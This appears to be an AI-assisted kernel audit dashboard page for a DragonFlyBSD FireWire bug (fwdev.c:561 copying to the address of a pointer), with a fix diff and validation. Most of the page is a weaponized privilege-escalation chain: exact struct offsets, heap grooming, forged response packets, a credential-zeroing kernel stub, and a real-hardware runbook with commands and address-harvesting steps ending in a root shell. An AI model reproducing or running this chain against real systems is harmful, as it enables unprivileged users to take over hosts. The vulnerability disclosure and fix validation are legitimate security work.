β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-5845

FW_ASYREQ bcopy writes to address-of-pointer xfer->send.payload - user-controlled kernel heap overwrite

  • File: sys/bus/firewire/fwdev.c:560-561
  • Severity: High (local privesc-class heap overwrite; reach gated on FireWire-equipped host + operator group)
  • CVSS: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
  • CWE: CWE-787 Out-of-bounds Write (pointer-field aliasing)
  • Confidence: certain (3 stock panics captured; behavioral control demonstrated)
  • Found in pass 2 (GLM 5.3) β€” discovered while verifying DF-2296

Summary

In the FW_ASYREQ send path, the response-payload copy destination is (void *)&xfer->send.payload β€” the address of the pointer field, not the pointed-to buffer. The bcopy(asyreq->data, (void *)&xfer->send.payload, pay_len) therefore writes fully user-controlled bytes over the fw_xver/fw_xfer tail (including the send.payload pointer itself and adjacent fields) and past the end of the ~160-byte-class fw_xfer heap chunk. pay_len is bounded only by the 16-bit req.len (see DF-2296), so up to ~64KB of controlled data can be written over adjacent kernel heap objects.

Threat model

Operator-group user on a FireWire-equipped host (fwohci kld/custom kernel; stock X86_64_GENERIC links the firewire stack but has no /dev/fw* without an OHCI controller). With heap grooming of the 160-byte class, this is a write-what-where-style primitive over neighboring allocations β€” privesc class. Three stock-kernel panics captured in _kfree / pmap_kvtom during verification of the sibling finding; behavioral control of smashed fields (pointer redirect observed).

Root cause

sys/bus/firewire/fwdev.c:561 β€” typo: &xfer->send.payload should be xfer->send.payload.

--- a/sys/bus/firewire/fwdev.c
+++ b/sys/bus/firewire/fwdev.c
@@ -558,7 +558,7 @@
        }
        bcopy(asyreq->data, (void *)&xfer->send.payload, pay_len);
+       bcopy(asyreq->data, (void *)xfer->send.payload, pay_len);

(one-character fix: drop the &; also apply the DF-2296 pay_len bound).

Status

new β€” pending weaponization (exploit-development mode).

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-5845 Β· 54 files
FileTypeDescriptionSize
df5845.c β€” 7.6 KB view raw
df5845rig.c β€” 22.5 KB view raw
fwharness.c β€” 21.2 KB view raw
fwharness.h β€” 2.9 KB view raw
pinexec.c β€” 835 B view raw
offsets5845.c β€” 832 B view raw
prep5845.sh β€” 1.1 KB view raw
build_kernel.sh β€” 396 B view raw
symbols5845.sh β€” 694 B view raw
attack5845.sh β€” 2.6 KB view raw
build.sh β€” 138 B view raw
run.sh β€” 142 B view raw
fix.diff β€” 728 B view raw
run.attack.log β€” 823 B view raw
run.weapon.log β€” 236 B view raw
run.win.txt β€” 147 B view raw
run.root.pwned.txt β€” 59 B view raw
run.dmesg.full.txt β€” 5.8 KB view raw
run.serial.log β€” 33.7 KB view raw
run.attack.out β€” 5.4 KB view raw
run.const.txt β€” 254 B view raw
fix_run.dmesg.txt β€” 800 B view raw
fix_run.uname.txt β€” 139 B view raw
env.txt β€” 325 B view raw
VERDICT.md β€” 7.1 KB ↓ raw
fix_run.summary.txt β€” 1.4 KB view raw
fix_run.attack.log.STALE-BASELINE-COPY β€” 823 B ↓ download
fix_run.weapon.log.STALE-BASELINE-COPY β€” 236 B ↓ download
hwkit/fwpeer_linux.c β€” 30.3 KB view raw
hwkit/fwpeer_abi.h β€” 3.8 KB view raw
hwkit/fwraw.patch β€” 5.3 KB view raw
hwkit/fwpeer_df.c β€” 4.9 KB view raw
hwkit/df5845_hw.c β€” 26.2 KB view raw
hwkit/offsets_hw.c β€” 3.2 KB view raw
hwkit/rig_packet_ref.sh β€” 3.9 KB view raw
hwkit/attack_hw.sh β€” 2.4 KB view raw
hwkit/Makefile β€” 1.3 KB ↓ download
hwkit/RUNBOOK.md β€” 16.4 KB ↓ raw
hwkit/validation/README.md β€” 4.5 KB ↓ raw
hwkit/validation/attack_hw.out β€” 5.4 KB view raw
hwkit/validation/df5845hw.attack.log β€” 823 B view raw
hwkit/validation/df5845hw.weapon.log β€” 237 B view raw
hwkit/validation/df5845.pwned β€” 59 B ↓ download
hwkit/validation/df5845.shape β€” 42 B ↓ download
hwkit/validation/dmesg.txt β€” 6.1 KB view raw
hwkit/validation/fwpeer.sresp.bin β€” 656 B ↓ download
hwkit/validation/fwpeer.vresp.bin β€” 16 B ↓ download
hwkit/validation/rig.sresp_ref.bin β€” 656 B ↓ download
hwkit/validation/rig.vresp_ref.bin β€” 16 B ↓ download
hwkit/validation/hwbyteid.md5 β€” 260 B ↓ download
hwkit/validation/winrun.const β€” 220 B ↓ download
hwkit/validation/winrun.forge.conf β€” 321 B ↓ download
hwkit/validation/sim.log β€” 546 B view raw
hwkit/validation/hwenv.txt β€” 283 B view raw
VERDICT.md
↓ download raw

DF-5845 VERDICT β€” uid=0 REPRODUCED (weaponized chain, fix validated)

Bottom line

On the DF-2293 verbatim-interposition harness kernel (stock fwdev.o, firewire.o, fwdma.o linked verbatim; only the missing OHCI controller/peer externalities are fabricated), the DF-5845 bug at sys/bus/firewire/fwdev.c:561 was converted by an unprivileged operator-group user (uid 1002 opuser) into uid=0 (root):

DF5845-WEAPON: uid=1002 gid=1002 S=0xfffff8008bb44b40 ...
DF5845-WEAPON: ioctls done s_rc=-1(22) v_rc=-1(35) uid=0
DF5845-CHAIN-WON: uid=0 euid=0
uid=0(root) gid=1002(opuser) egid=0(wheel) groups=0(wheel)     <- /bin/sh exec
DF5845-CHAIN-WON
exec-proof:
uid=0(root) gid=1002(opuser) egid=0(wheel) groups=0(wheel)

/root/df5845.pwned (inside the root-only directory) was written by the post-takeover shell. The guest survived the winning chain (no panic; the POST-RCV trace shows both ioctls draining cleanly through stock code).

The mechanism, line-accurate

  1. fwdev.c:530 pay_len = MAX(0, asyreq->req.len - tinfo->hdr_len) β€” attacker-chosen (44 in the weapon; u16-bounded per DF-2296).
  2. fwdev.c:560-561 bcopy((char *)fp + tinfo->hdr_len, (void *)&xfer->send.payload, pay_len) β€” writes to the ADDRESS OF the pointer field: the weapon's 44 bytes land at S+80..S+123 and plant send.payload := NULL, send.pay_len := 0, recv.payload := S_ADDR-160, recv.pay_len := 1024.
  3. firewire.c:210/220 MAXREC/len gates pass (send.pay_len itself is smashed to a legal 0); fw_get_tlabel assigns a label normally.
  4. The peer delivers an RRESB response through the STOCK fw_rcv (firewire.c:1731): fw_tl2xfer matches S; fw_rcv_copy (firewire.c:1247-) writes the 640-byte response payload THROUGH the smashed recv.payload β€” the arbitrary kernel heap write β€” covering the canary below S, S itself (self-heal: recv.payload := K, malloc := M_FWXFER, state := FWXF_SENT, act.hand := fw_asy_callback), the parked victim V = S+160 (state := FWXF_SENT, act.hand := ring0 stub, send.hdr.dst := 0x22, NULL payloads), and the stub chunk at S+320.
  5. firewire.c:1800-1810 (fw_rcv response branch): rtcode check reads the planted header, oldstate (planted FWXF_SENT) routes to fw_xfer_done β†’ planted fw_asy_callback wakes S's ioctl; S walks fwdev.c:570-583 (the response-copy branch runs even in the EINVAL case β€” 44 bytes copied from K, exactly as traced) and drains via fw_xfer_free_buf with all-freed-or-NULL payload pointers. Clean.
  6. The peer delivers V's (len=0) response: fw_tl2xfer matches V by the PLANTED send.hdr.dst; planted FWXF_SENT β†’ fw_xfer_done(V) β†’ V->act.hand(V) = the 88-byte stub in kernel heap: pfindn(weapon_pid) β†’ p->p_ucred β†’ zero cr_uid/cr_ruid/cr_svuid, cr_ngroups := 1, cr_groups[0] := 0; returns cleanly.
  7. The still-unprivileged weapon process sees getuid() == 0 and execs /bin/sh β€” full credential takeover.

Kernel forensics captured in run.dmesg.full.txt: the POST-RCV dump of the winning attempt shows V state=3 act.hand=0xfffff8008bb44c90 (the stub, planted by the write) before the V-response and state=10 resp=90 after β€” 90 = 0x5A is the stub's entry marker written into V->resp at dispatch time. Proof the forged act.hand was called from stock fw_xfer_done.

Threat model / legitimacy framing (honest)

  • The corruption, the arbitrary write, the dispatch and the credential overwrite all execute in STOCK kernel binaries (fwdev.o, firewire.o) reached by a single operator-group ioctl β€” the exact attack surface of a FireWire-equipped host.
  • The harness supplies only what real hardware would: AT TX-completion semantics (fwohci.c:1110) and AR packet delivery into stock fw_rcv (as fwohci_arcv does). The root-only rig plays the malicious FireWire peer β€” attacker-controlled hardware that crafts response packets. On real hardware the identical packets arrive over the bus.
  • Rig conveniences beyond the strict peer model: heap-shaping canaries (any local user can spray the same zone via ordinary syscalls), the boot-deterministic symbol addresses (no KASLR; same information is in the world-readable kernel binary), and CPU pinning for determinism (the launcher pins; the weapon binary itself uses no privilege).
  • The pfindn-based stub means the chain does not even need SMEP/SMAP to be disabled: the stub lives in kernel heap. The guest is permissive, but nothing in the chain depends on user pages being executable.

Engineering history (what it took β€” full logs in git-ignored attempt dirs)

Five kernel-side/userland iteration rounds, each failure captured: 1. First injection: response write worked, but fwdev.c:583 copied from a NULL recv.payload (rig planted K=0 because spray idx 0 was popped) β†’ Fatal trap 12 in memmove <- fw_ioctl β€” proved the write path end-to-end. 2. Timeout path double-free of a LIVE V (rig failed to inject on the first watermark bug) β†’ memory chunk ... already free β€” led to the S-160 write-base geometry. 3. S-48 interior-pointer early-free poisoned the freelist with a misaligned chunk β†’ delayed chunk_mark_free assertion panic. Replaced by the chunk-aligned S-160 canary below S. 4. PEND watermark semantics (seq <= seq_after cannot express report-all; warm post + baseline-before-ready-wait + < filter). 5. Stub v1 encoded disp8 offsets 160/164 as SIGN-EXTENDED (-96/-92) β€” the cred walk corrupted ucred-96 of adjacent objects (a later sh panic) while uid stayed 1002. v2 uses disp32 everywhere plus entry/exit markers; first v2 run converted.

Also on the path: canary-spray cap exhaustion (512) handled by per-attempt unspray; shape gate (allocate-back-verify) to make the S/V pair deterministic; always-respond fix-up so aborted attempts drain cleanly instead of timing out.

Fix validation (A/B on the same rig)

fix.diff = drop the & at fwdev.c:561 and the DF-2296 pay_len bound (EINVAL before fw_xfer_alloc_buf). Applied in the guest /usr/src, kernel rebuilt (kernel #5), rebooted, and the IDENTICAL weapon + rig + packets re-run (3 attempts, two full injections delivered):

DF5845-WEAPON: uid=1002 ... uid=1002      (no takeover)
RIG: wire: S=... V=... ; S-response delivered; V-response delivered
dmesg panic/Fatal count: 0 ; guest uptime continues

With the fix the 44 bytes land in the REAL send.payload buffer, recv.payload is never smashed, fw_rcv_copy copies the response into the real 4096-byte recv buffer (in-bounds), V keeps its real fw_asy_callback, both ioctls complete through stock code and nothing escalates. Baseline kernel #4 + same inputs β†’ uid=0. The fix kills the chain and leaves the legitimate path intact.

Fix status (batch validation)

Applied with the 36 sibling fix.diffs of this batch in findings/poc/_batch41/all_fixes.patch; single in-guest make -j6 nativekernel KERNCONF=X86_64_GENERIC completed RC=0 with zero errors under -Werror (full log: findings/poc/_batch41/fix_build8.log). Behavior A/B intentionally skipped for this Info-tier item.

hwkit/RUNBOOK.md
↓ download raw

DF-5845 REAL-HARDWARE FIELD KIT β€” RUNBOOK

Everything a person with actual FireWire gear needs to re-run the DF-5845 verification (operator-group user β†’ uid=0 on DragonFly via sys/bus/firewire/fwdev.c:561, FW_ASYREQ address-of-pointer overwrite) on physical machines. The chain, the packets, and the weapon logic are proven on the in-guest verbatim-interposition harness (findings/poc/DF-5845/, uid=0, fix-validated, SMAP/SMEP-immune); this kit adds the pieces real silicon needs: a Linux peer sender, a DragonFly-side raw injector, self-locating weapon modes, and this book.

In-guest validation of everything testable without hardware lives in validation/ (see its README): the refactored weapon re-won uid=0 on the harness (attempt 2), and the peer builders produce byte-identical packets to the frozen rig builders (md5-proved).


0. WHAT YOU ARE RUNNING (30-second recap)

Victim: DragonFly 6.x, stock firewire/fwohci driver stack. 1. Weapon thread S: ioctl(/dev/fw0.0, FW_ASYREQ, ...) with req.len=60 β†’ the bug copies 44 user bytes over the fw_xfer TAIL: send.payload := NULL, send.pay_len := 0, recv.payload := S-160, recv.pay_len := 1024. 2. Weapon thread V: a legit len-0 block write parks a second fw_xfer directly above S (V = S+160). 3. Peer (attacker hardware) sends a 640-byte read-block-response whose payload is a 4-chunk forge covering S-160 .. S+480: X1-fix | S-fix | V(state=SENT, act.hand=kernel-heap stub) | stub(pfindn cred-zero). Stock fw_rcv_copy() writes it through the smashed recv.payload. 4. Peer sends a len-0 response for V's tlabel: stock fw_rcv β†’ fw_xfer_done(V) β†’ V->act.hand(V) = the stub β†’ the weapon's ucred is zeroed in-kernel β†’ getuid()==0.

On real hardware three things differ from the rig (all handled): - node ids are real (S and V both address the PEER; the peer's natural response source id is the match value fw_tl2xver needs), - the split-transaction watchdog (firewire.c:357, 200 ms) bounds the park window β€” the peer must deliver the forge within ~200 ms of V's request appearing on the bus (a listening peer does this in ~1 ms), - no root-side rig exists: S/V/fc addresses must come from MODE gdb / MODE leak / MODE groom (below), and the S-fix uses a NULL-recv variant (recv.pay_len=400) so NO K canary address is needed.


1. EQUIPMENT

  • VICTIM: any OHCI-1394 host running DragonFly 6.x β€” a FireWire PCI card (TI TSB82AA2, VIA VT6306/6308, Agere FW323 ...) in a desktop, or a 2008–2014 laptop/MacBook with FW400/FW800. device firewire is in X86_64_GENERIC; kldload firewire if modular.
  • PEER (pick one):
  • a Linux box with a FireWire interface (juju stack, any kernel β‰₯2.6.22) β€” drives fwpeer_linux,
  • a second DragonFly box (patched with fix.diff, see Β§3c) β€” drives fwpeer_df,
  • or any 1394 analyzer/transmitter you own (feed it the packet files fwpeer_linux --simulate emits).
  • CABLE: point-to-point 6-pin/6-pin (or 4-pin where ports allow; no bus power needed). A FW800β†’FW400 crossover works at S400.
  • Serial console on the victim STRONGLY recommended (panics are data).

2. VICTIM PREP

kldload firewire                       # if not compiled in
dmesg | grep -i fwohci                 # expect: fwohci0: <...> on pciN
                                       # and bus reset / node id lines
ls -l /dev/fw0.0                       # crw-rw---- root:operator
sysctl debug.debugger_on_panic=0       # auto-reboot after dumps
pw useradd -n opuser -m -G operator -w none

Check the bus came up (both boxes on, cable in):

fwcontrol -d            # or: dmesg | tail; look for FWBUSCOMPLETION

Note the VICTIM's node id and the PEER's node id from the self-ID packets (fwcontrol / dmesg "node id" lines, or fwpeer_linux --list on the peer shows the local node id; the victim is the other one). You will pass the peer's id to the weapon (--peer-node) and both ids go into forge.conf.

Build the kit on the victim (needs kernel source at /usr/src):

cd hwkit && make df5845_hw offsets_hw && ./offsets_hw

offsets_hw prints the structure table; on 6.5-DEVELOPMENT x86_64 it must read exactly (verify before continuing):

off_devclass_devices 48      off_xfer_sendpayload 80
off_bsddevice_softc 128      off_xfer_recvpayload 112
off_fwsoftc_fc 0             off_xfer_recvpaylen 120
off_fwcomm_atq 120           off_xfer_malloc 144
off_fwcomm_tlabels 656       sizeof_xfer 152
off_xfer_acthand 56          off_pucred 16   off_cr_uid 64
off_xfer_state 41            off_cr_ruid 160 off_cr_svuid 164
off_xfer_tl 43               off_cr_ngroups 68 off_cr_groups 72

3. PEER PREP

make fwpeer_linux
./fwpeer_linux --list                       # find the victim's /dev/fwN
./fwpeer_linux --listen /dev/fw1            # see the victim's requests
./fwpeer_linux --respond /dev/fw1           # + legal write responses

Permissions: your user needs rw on /dev/fwN (udev: uaccess tag on modern distros gives console users rw on /dev/fw*; otherwise run as root or write a udev rule SUBSYSTEM=="firewire", MODE="0666"). --respond is enough for STAGE A (Β§5) and for clean-drain fix-ups.

(b) Linux peer, patched kernel β€” full forge

Apply fwraw.patch to drivers/firewire, rebuild, reboot. Then:

./fwpeer_linux --respond /dev/fw1 --forge /path/forge.conf

It auto-detects the patch (probes FW_CDEV_IOC_SEND_RAW), reads request transaction labels from the wire (REQUEST3 events), waits until BOTH weapon requests have been seen, then injects the 640-byte forge on S's label and the len-0 dispatch on V's label.

(c) DragonFly peer β€” full forge, no Linux needed

Apply findings/poc/DF-5845/fix.diff to the PEER's /usr/src, build & boot (the fix makes its fwdev.c copy into the real send buffer β€” the peer becomes a clean arbitrary-packet sender; a stock peer would smash its OWN fw_xfer, see fwpeer_df.c header). Then on the peer:

cc -O -o fwpeer_df fwpeer_df.c
# build the packet on any box (or the victim itself, pre-attack):
./fwpeer_linux --make-df-packet --conf forge.conf --out sresp.pk \
    --tl-s 15 --tl-v 16
./fwpeer_df sresp.pk 1        # then the V packet:
./fwpeer_linux --simulate --conf forge.conf --out out --hw-geometry
./fwpeer_df out/vresp.bin 1

tlabels come from watching the victim's requests (Stage 0 listening, or the victim's dmesg fw_get_tlabel: lines with firewire_debug).


4. HARVESTING CONSTANTS (pick a mode)

MODE gdb β€” maintainer-grade, deterministic, DO THIS FIRST

Goal: S_ADDR (the address the shaped pair will land at), fc, and the static symbols. Because DragonFly has no KASLR and the driver allocation order is boot-stable, addresses read from ONE boot predict the next boots.

Live ddb (console break: Ctrl-Alt-Esc, or sysctl debug.enter_debugger):

db> trace                     # sanity
db> show proc                 # find your weapon proc if parked
db> x/s firewire_devclass,1   # struct devclass*: read ->devices(+0x30)
db> x/x <devices>,2           # devices[0] = firewire0 device_t
db> x/x <dev0+0x80>,1         # ->softc (firewire_softc*)
db> x/x <softc+0x0>,1         # ->fc  (== fwohci_softc*)
db> x/x <fc+0x288>,8          # tlabels[] heads: entries with the
                              # weapon's parked xfers -> tl->xfer = S,V

Easier and scriptable β€” the crash-dump route (also gets you a dump): run STAGE A FAULT once (Β§5), let it panic+dump, then on the dump:

kgdb /boot/kernel/kernel /var/crash/vmcore.last
(kgdb) p firewire_devclass
(kgdb) p ((struct devclass *)<val>)->devices[0]
(kgdb) p ((struct bsd_device *)<val>)->softc
(kgdb) p ((struct firewire_softc *)<val>)->fc
(kgdb) set $tl=((struct firewire_comm *)<fc>)->tlabels[<label>]
(kgdb) p $tl.tqh_first->xfer          # a parked fw_xfer address
(kgdb) p *$tl.tqh_first->xfer         # verify send.hdr.dst == peer id
(kgdb) p/x &pfindn                    # statics also from: nm -an kernel

The parked-xfer read needs a live (or dumped-while-parked) attempt; in a dump from the fault stage the interesting chunks are the S/V pair of THAT attempt β€” geometry repeats across boots on an idle box (the in-guest harness landed the shaped pair at the SAME address 0xfffff8008bb44b40 in boots weeks apart β€” see validation/).

Write gdb.conf (any subset; s_addr/fc mandatory):

s_addr fffff8008bb44b40
fc fffff80106a10000
atq 0                     # optional, S.q is never dereferenced
peer_node 3               # real bus node id of the PEER
victim_node 1

MODE leak β€” demo-grade, unprivileged, slow

df5845_hw --mode leak (vendors the DF-2694 reader; build findings/poc/DF-2694/df2694_leak.c on the victim first). It chases ONLY persistent objects (firewire_devclass β†’ devices[0] β†’ softc β†’ fc), each arrow one minutes-long DF-2694 read. It yields fc + static symbols; it CANNOT yield S_ADDR (parked xfers die in ~200 ms, long before a read completes). Honest expectation: several retries, swap pressure (the DF-2694 technique needs a 6.5 GB swap-out pig), and you still need --sweep or gdb for S_ADDR.

MODE groom β€” blind sweep, LAST RESORT

df5845_hw --mode groom --sweep <hexbase>:<count> \ --i-know-wrong-guesses-panic --conf gdb.conf What a wrong guess does, exactly: the smash sets recv.payload = guess-160; the peer's 640-byte forge then writes through that pointer β€” unmapped guess β†’ instant Fatal trap 12 in fw_rcv_copy; mapped guess β†’ 640 bytes of unrelated kernel heap corrupted (delayed panic); and S's own drain kfrees the guess pointer (slab assertion). EVERY miss is a reboot. Only sweep candidates you have independent reason to believe.


5. EXECUTION

STAGE 0 β€” wire sanity (no attack)

Peer: fwpeer_linux --listen /dev/fwN. Victim (as opuser):

/tmp/hwkit/df5845_hw --stage-a --peer-node <peer>     # clean variant

You should see, on the peer: REQUEST #0 tcode=1 (write block) len=0. PASS: request arrives within ~1 s and its tlabel is printed (patched kernel) or implied (stock). FAIL: see Β§7.

STAGE A β€” primitive proof (near-certainty, stock peer)

  1. Victim: df5845_hw --stage-a-fault --peer-node <peer> (recv.payload := ~0, recv.pay_len := 512 β€” the smash plants an unmapped pointer).
  2. Peer: fwpeer_linux --respond /dev/fwN answers the write with a perfectly LEGAL write response.
  3. EXPECT on the victim console: Fatal trap 12: page fault ... bcopy/memmove <- fw_ioctl β€” the response-copy at fwdev.c:583 dereferenced the planted pointer. This is the rig's first engineering signature (VERDICT.md history step 1), reproduced with a stock peer and ZERO address knowledge. Box panics; that IS the pass criterion. (No peer handy? the same smash with --stage-a returns cleanly; verify the 44-byte tail overwrite with ddb: break on the parked xfer, x/x <S+80>,11 shows 58 45 00 xx pattern.)

STAGE B β€” full chain

  1. Victim: constants from Β§4 into gdb.conf, then (as opuser): df5845_hw --mode gdb --conf gdb.conf --peer-node <peer> It prints S/V/stub, writes /tmp/df5845hw.forge.conf, posts S then V (100 ms apart), and polls getuid().
  2. Peer (must already be listening/responding!): copy forge.conf over, then fwpeer_linux --respond /dev/fwN --forge forge.conf (patched kernel) β€” it injects after seeing BOTH requests; or run fwpeer_df with the prebuilt packets at the right moment.
  3. EXPECT, victim weapon stdout within ~2 s: DF5845HW[gdb]: ioctls done s_rc=-1(22) v_rc=-1(35) uid=0 DF5845HW-CHAIN-WON: uid=0 euid=0 uid=0(root) gid=<opuser> egid=0(wheel) groups=0(wheel)
  4. PASS = uid=0 output + /root/df5845.pwned written + id in the spawned shell shows root. FAIL modes: Β§7.

Timing budget: the peer sees V's request at T+100 ms; watchdog kills the split at T+300 ms β€” the forge must be on the wire in that window. The automated --respond --forge path does this in ~1 ms; manual fwpeer_df sending needs you to fire the moment the second REQUEST prints.

PASS/FAIL summary

stage pass fail meaning
0 request seen by peer cabling/driver/node ids
A Fatal trap 12 in fw_ioctl copy bug already patched on victim
B uid=0 + pwned file constants wrong (Β§4) or timing (Β§7)

6. FALLBACKS

  • If Stage B keeps missing geometry: run the rig-grade harness instead β€” the victim itself can boot the FWH kernel (this exact kit was regression-validated there: validation/attack_hw.out shows the refactored weapon winning on attempt 2 with uid=0).
  • If the peer Linux box refuses the patch: use the DragonFly peer (Β§3c) or an analyzer.
  • If you only want to prove the WRITE PRIMITIVE without uid=0: Stage A is already the proof (controlled 44-byte kernel heap overwrite with an arbitrary pointer).

7. TROUBLESHOOTING

  • Bus manager / cycle master contention: during bring-up hold the VICTIM as the only bus manager candidate (single cable, no hubs); with two nodes the IRM/CM election is deterministic by EUI-64. Bus resets invalidate node ids AND generation counters β€” if a reset happens mid-attempt (peer log shows BUS RESET), restart from Stage 0 and re-read node ids.
  • tlabel mismatch: forged responses must echo the tlabel of the pending request (fw_tl2xver, firewire.c:911). With the patched peer this is automatic (taken from the request event). Fire-blind: victim dmesg with sysctl debug.firewire=3 prints fw_get_tlabel: dst=N tl=M per request.
  • Retry semantics: ACK-busy from the victim re-sends the request with the SAME tlabel β€” the peer may see duplicates; answer each. Forged packets sent more than once are harmless (second write hits an already-freed chunk β€” avoid it anyway).
  • AR response routing: the forged RRESB must carry dst = victim node id (hardware routing) and src = the peer node id (software match). fwpeer fills both from forge.conf + GET_INFO.
  • "no win" but no panic: S/V landed elsewhere than gdb.conf predicted β†’ re-harvest (Β§4); the box may be limping from a missed write β€” reboot before retrying.
  • Guest-only artifacts: /tmp/df5845hw.forge.conf is world-readable by design (the peer side needs it); delete it if you consider the constants sensitive on a multi-user victim.

8. SAFETY

  • TEST BOX ONLY. The chain corrupts kernel memory on purpose; wrong guesses (groom sweep, stale constants) panic the machine and can corrupt filesystems in flight. No snapshots exist on real hardware β€” reinstall is your rollback.
  • Expect crash dumps (GBs) in /var/crash after Stage A / failed Stage B.
  • The peer side is attacker tooling; never run the patched cdev or fwpeer_df with payloads toward machines you do not own.
  • Report what you see back into the pack: validation/README.md documents the in-guest baseline; add your hardware run beside it.

9. WHAT REMAINS UNPROVEN UNTIL SOMEONE RUNS THIS ON SILICON

(honest list β€” everything else is proven in-guest) 1. fwohci AR-DMA delivering our exact forged RRESB bytes to fw_rcv (byte layout is protocol-standard; the harness delivered them via the same stock fw_rcv entry, but the OHCI DMA/parse step in between is hardware-real only on silicon). 2. The 200 ms watchdog window being met by the automated peer on a real bus (S400 arbitration is microseconds; margin is large but real-world interrupt latency on old laptops is the unknown). 3. Boot-stable S/V geometry on physical machines (no KASLR helps; the harness pair landed at the same address across boots, real-driver allocation order should behave the same β€” verify with MODE gdb once per box). 4. The X1/stub-home parked-xfer forging on real hardware (the rig used inert canary chunks; hardware uses live parked xfers forged to self-drain β€” each drain path was traced line-by-line, but only silicon exercises the real watchdog concurrently).

hwkit/validation/README.md
↓ download raw

hwkit/validation β€” in-guest validation of everything testable without FireWire hardware

Guest: DragonFly 6.5-DEVELOPMENT, FWH harness kernel #0 Oct-27 06:37 (findings/poc/DF-5845/fwharness.c verbatim-interposition rig: stock fwdev.o/firewire.o/fwdma.o, fabricated OHCI externalities), cc 8.3 (hwenv.txt).

1. Regression: the refactored weapon re-wins uid=0

df5845_hw.c --rig is the public-ioctl-only refactor of the frozen weapon df5845.c. Driver: attack_hw.sh (= attack5845.sh with the weapon swapped; same rig, same peer, same packets).

Result: WIN on attempt 2 (attack_hw.out), signature IDENTICAL to the original Oct-18 win β€” including the same shaped-pair addresses (S=0xfffff8008bb44b40, V=0xfffff8008bb44be0, stub=0xfffff8008bb44c90):

DF5845HW-RIG: uid=1002 gid=1002 S=0xfffff8008bb44b40 ...
DF5845HW[rig]: ioctls done s_rc=-1(22) v_rc=-1(35) uid=0
DF5845HW-CHAIN-WON: uid=0 euid=0
uid=0(root) gid=1002(opuser) egid=0(wheel) groups=0(wheel)   <- /root/df5845.pwned

(An earlier 5-attempt run also converted on its attempt 5 β€” weapon log uid=0, stub entry marker resp=90 in dmesg β€” but predated the proof-write block in the win loop, so the driver missed it; both runs are consistent: 2/7 attempts converted, matching the rig baseline.)

2. Byte-identity: fwpeer_linux builds the EXACT harness packets

Reference: the packet builders extracted VERBATIM from the frozen rig source (rig_packet_ref.sh sed-extracts df5845rig.c:372-516 β€” build_stub / put64/32/16 / build_payload / make_resp β€” and compiles them with a dump main). Candidate: fwpeer_linux --simulate --rig-geometry with the documented Oct-18 win-run constants (winrun.const, winrun.forge.conf).

cmp simout/sresp.bin  refout/sresp_ref.bin   -> IDENTICAL
cmp simout/vresp.bin  refout/vresp_ref.bin   -> IDENTICAL
MD5 both S-responses (656 B) = 13a5bc0ce7e57675f7c2d459ea53b82b
MD5 both V-responses (16 B)  = 5e272a740f70a89fbef9b07f837ece7d

(hwbyteid.md5, binary pairs kept: fwpeer..bin vs rig._ref.bin). Header words also equal the harness kernel log of the winning injection: w0=ffc03870 w1=00110000 w3=02800000 (PKTRCV len=656) and w0=ffc03c70 w1=00220000 (PKTRCV len=16).

3. DragonFly-peer injector (fwpeer_df) exercised on the harness wire

  • tcode-1 (WREQB) 16-byte packet: sent via public FW_ASYREQ, hw.fwh_txcount 0β†’1, TXDONE shows our header on the "wire" (dmesg.txt in the guest run; see attack logs).
  • tcode-7 (RRESB) packets: the FWH harness wires only fc->atq (not ats) so a response-tcode AT send NULL-derefs there β€” verified by guest panic at fw_asyreq+0x86 (a harness limitation; real fwohci wires both, fwohci.c attach). fwpeer_df.c documents this.
  • ACCIDENTAL Stage-A-grade proof: a malformed 96-byte ASCII "packet" sent through fwpeer_df self-smashed the GUEST's own fw_xfer via fwdev.c:561 (Fatal trap 12 in fw_xfer_free_buf ← kfree of the smashed send.payload) β€” the injector payload path hits the exact vulnerable copy, on stock fwdev.o, unprompted.

4. Structure offsets probed from real victim source

offsets_hw.c output on the guest (identical to the rig sysctls and to the values baked into df5845_hw.c / the RUNBOOK table): devclass->devices=48, bsd_device->softc=128, firewire_softc.fc=0, fwcomm.atq=120, tlabels=656; fw_xfer: fc=8 q=16 resp=40 state=41 tl=43 act.hand=56 send.hdr=64 send.payload=80 recv.hdr=96 recv.payload=112 recv.pay_len=120 mbuf=128 malloc=144 sizeof=152; proc.p_ucred=16, ucred: cr_uid=64 cr_ruid=160 cr_svuid=164 cr_ngroups=68 cr_groups=72.

5. Not testable in-guest (documented in RUNBOOK Β§9)

fwohci AR-DMA delivery, real-bus timing (200 ms watchdog window), boot-stable geometry on physical machines, live parked-xfer X1/stub-home forging. The kit's gdb/leak/groom modes exist to close exactly these on hardware.

Files

attack_hw.out          full regression driver log (WIN attempt 2)
df5845hw.attack.log    rig side of the winning attempt
df5845hw.weapon.log    weapon side (uid=1002 -> uid=0)
df5845.pwned           uid=0(root) written inside /root post-takeover
df5845.shape           shaped pair of the winning attempt
dmesg.txt              kernel forensics of the winning attempt
fwpeer.sresp.bin / fwpeer.vresp.bin           fwpeer-built packets
rig.sresp_ref.bin / rig.vresp_ref.bin         rig-built reference
hwbyteid.md5           the two identical md5 pairs
winrun.const / winrun.forge.conf              inputs used by both builders
sim.log                fwpeer --simulate transcript
hwenv.txt              guest uname / cc / sysctl / opuser

Fix verification

fixed
↓ fix.diffDragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #5: Sun Oct 18 10:52:35 UTC 2026 root@dfbsd:/usr/obj/usr/src/sys/FWH x86_64

Confirmed kernel references

Detail

Exploit chain

  1. rig shapes the 160-class fw_xfer zone with canaries and gate-verifies an adjacent pair S,V=S+160 plus live chunks below S and at S+320 (stub home). 2. weapon thread S issues FW_ASYREQ req.len=60 so pay_len=44: fwdev.c:561 writes data[] over S+80..S+123 planting send.payload NULL, send.pay_len 0, recv.payload S-160, recv.pay_len 1024. 3. weapon thread V parks a legit fw_xfer at S+160. 4. peer injects an RRESB response through stock fw_rcv: fw_rcv_copy writes 640 attacker bytes at S-160 covering S (self-heal: recv.payload := canary K, malloc := M_FWXFER, state := FWXF_SENT, act.hand := fw_asy_callback) and V (state := FWXF_SENT, act.hand := stub at S+336, send.hdr.dst := 0x22) and the stub bytes. 5. S wakes through stock fw_asy_callback, walks the response-copy branch (fwdev.c:570-583) and drains cleanly. 6. peer injects V response: fw_tl2xfer matches planted dst, fw_xfer_done calls planted act.hand = 88-byte kernel-heap stub: pfindn(pid) -> p_ucred -> zero uid fields -> ret. 7. weapon polls getuid()==0, execs /bin/sh as root, 